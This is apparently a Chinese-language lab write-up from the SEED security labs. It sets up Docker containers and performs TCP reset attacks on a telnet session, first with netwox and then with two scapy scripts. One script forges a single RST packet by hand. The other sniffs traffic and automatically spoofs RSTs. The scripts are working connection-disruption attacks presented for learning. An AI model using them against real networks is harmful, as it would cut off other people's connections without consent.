用netwox、scapy进行TCP Reset 的手动攻击和自动攻击

文章目录

    • 环境搭建
    • 1)利用netwox进行RESET攻击
    • 2)使用scapy进行手动攻击
    • 3)使用scapy进行自动攻击

环境搭建

安装实验docker,保存下面的文件为docker-compose.yml:

version: "3"

services:
    attacker:
        image: handsonsecurity/seed-ubuntu:large
        container_name: seed-attacker
        tty: true
        cap_add:
                - ALL
        privileged: true
        volumes:
                - ./volumes:/volumes
        network_mode: host


    Victim:
        image: handsonsecurity/seed-ubuntu:large
        container_name: victim-10.9.0.5
        tty: true
        cap_add:
                - ALL
        privileged: true
        sysctls:
                - net.ipv4.tcp_syncookies=0

        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.5

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "
                  
    User1:
        image: handsonsecurity/seed-ubuntu:large
        container_name: user1-10.9.0.6
        tty: true
        cap_add:
                - ALL
        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.6

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "

    User2:
        image: handsonsecurity/seed-ubuntu:large
        container_name: user2-10.9.0.7
        tty: true
        cap_add:
                - ALL
        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.7

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "

networks:
    net-10.9.0.0:
        name: net-10.9.0.0
        ipam:
            config:
                - subnet: 10.9.0.0/24

然后执行,安装docker镜像

docker-compose -f docker-compose.yml up -d

打开三个终端,其中一个终端为用户机,另两个终端开启docker,执行./run.sh

#run.sh
docker run -it --privileged "handsonsecurity/seed-ubuntu:large" /bin/bash

172.17.0.2为客户端,172.17.0.3为服务器,在服务器上运行./start.sh,开启telnet服务

/etc/init.d/openbsd-inetd restart

使用下面的命令可以查看是否打开了telnet

netstat -a | grep telnet
# tcp        0      0 0.0.0.0:telnet          0.0.0.0:*               LISTEN

docker删除images,先执行docker images查看待删除的镜像的ID,然后执行 docker ps -a,查看有哪些容器正在使用该ID,然后对全部使用镜像ID的容器执行docker rm ,最后再运行docker rmi

攻击机IP:192.168.100.129
用户机IP:172.17.0.2
目标机IP:172.17.0.3

1)利用netwox进行RESET攻击

在攻击机上执行ifconfig,查看网卡为docker0

用netwox、scapy进行TCP Reset 的手动攻击和自动攻击_第1张图片

然后执行 netwox 78 -d docker0 -s linkbraw,发起reset攻击,在客户机上随便输入一个字符串,断开了连接

在这里插入图片描述

用wireshark抓包,可以截获两个RESET包

用netwox、scapy进行TCP Reset 的手动攻击和自动攻击_第2张图片

2)使用scapy进行手动攻击

代码为reset_manual.py,建立telnet连接,用wireshark截取最后一个TCP连接报文,seq填写最后一个报文的ack字段

#!/usr/bin/python3
from scapy.all import *

print("SENDING RESET PACKET.........")
ip  = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=46360, dport=23,flags="R",seq=4143252215)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)

用netwox、scapy进行TCP Reset 的手动攻击和自动攻击_第3张图片

将截获的包中的信息填入reset_manaul参数里面,运行python文件,wireshark截获到了RESET报文
用netwox、scapy进行TCP Reset 的手动攻击和自动攻击_第4张图片

此时在用户端随便输入一个字符,就会断开连接,Connection closed by foreign host,攻击成功
在这里插入图片描述

抓包可以看到,第一行红色的是由攻击机发起的RESET攻击,接着第二行用户机发送了一个TELNET包,由于TCP中断,接着服务器向客户机发送了第三行的RESET包,断开了TCP连接

在这里插入图片描述

3)使用scapy进行自动攻击

建立telnet连接,用wireshark截取最后一个TCP连接报文,代码为reset_auto.py

#!/usr/bin/python3
from scapy.all import *

SRC  = "172.17.0.2"
DST  = "172.17.0.3"
PORT = 23

def spoof(pkt):
    old_tcp = pkt[TCP]
    old_ip  = pkt[IP]

    ip = IP(src=old_ip.dst, dst=old_ip.src)
    tcp = TCP(sport=old_tcp.dport, dport=old_tcp.sport, seq=old_tcp.ack, flags="R")
    
    pkt = ip/tcp
    send(pkt,verbose=0)
    print("Spoofed Packet: {} --> {}".format(ip.src, ip.dst))

f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)


原始代码在sniff函数中必须加上 iface=‘docker0’,用netwox时也需要设置网卡为docker0,否则无法发起攻击

攻击机输出截获信息
用netwox、scapy进行TCP Reset 的手动攻击和自动攻击_第5张图片

用户机连接中断

在这里插入图片描述

wireshark截包

用netwox、scapy进行TCP Reset 的手动攻击和自动攻击_第6张图片

你可能感兴趣的:(计算机网络,tcp/ip,docker,linux)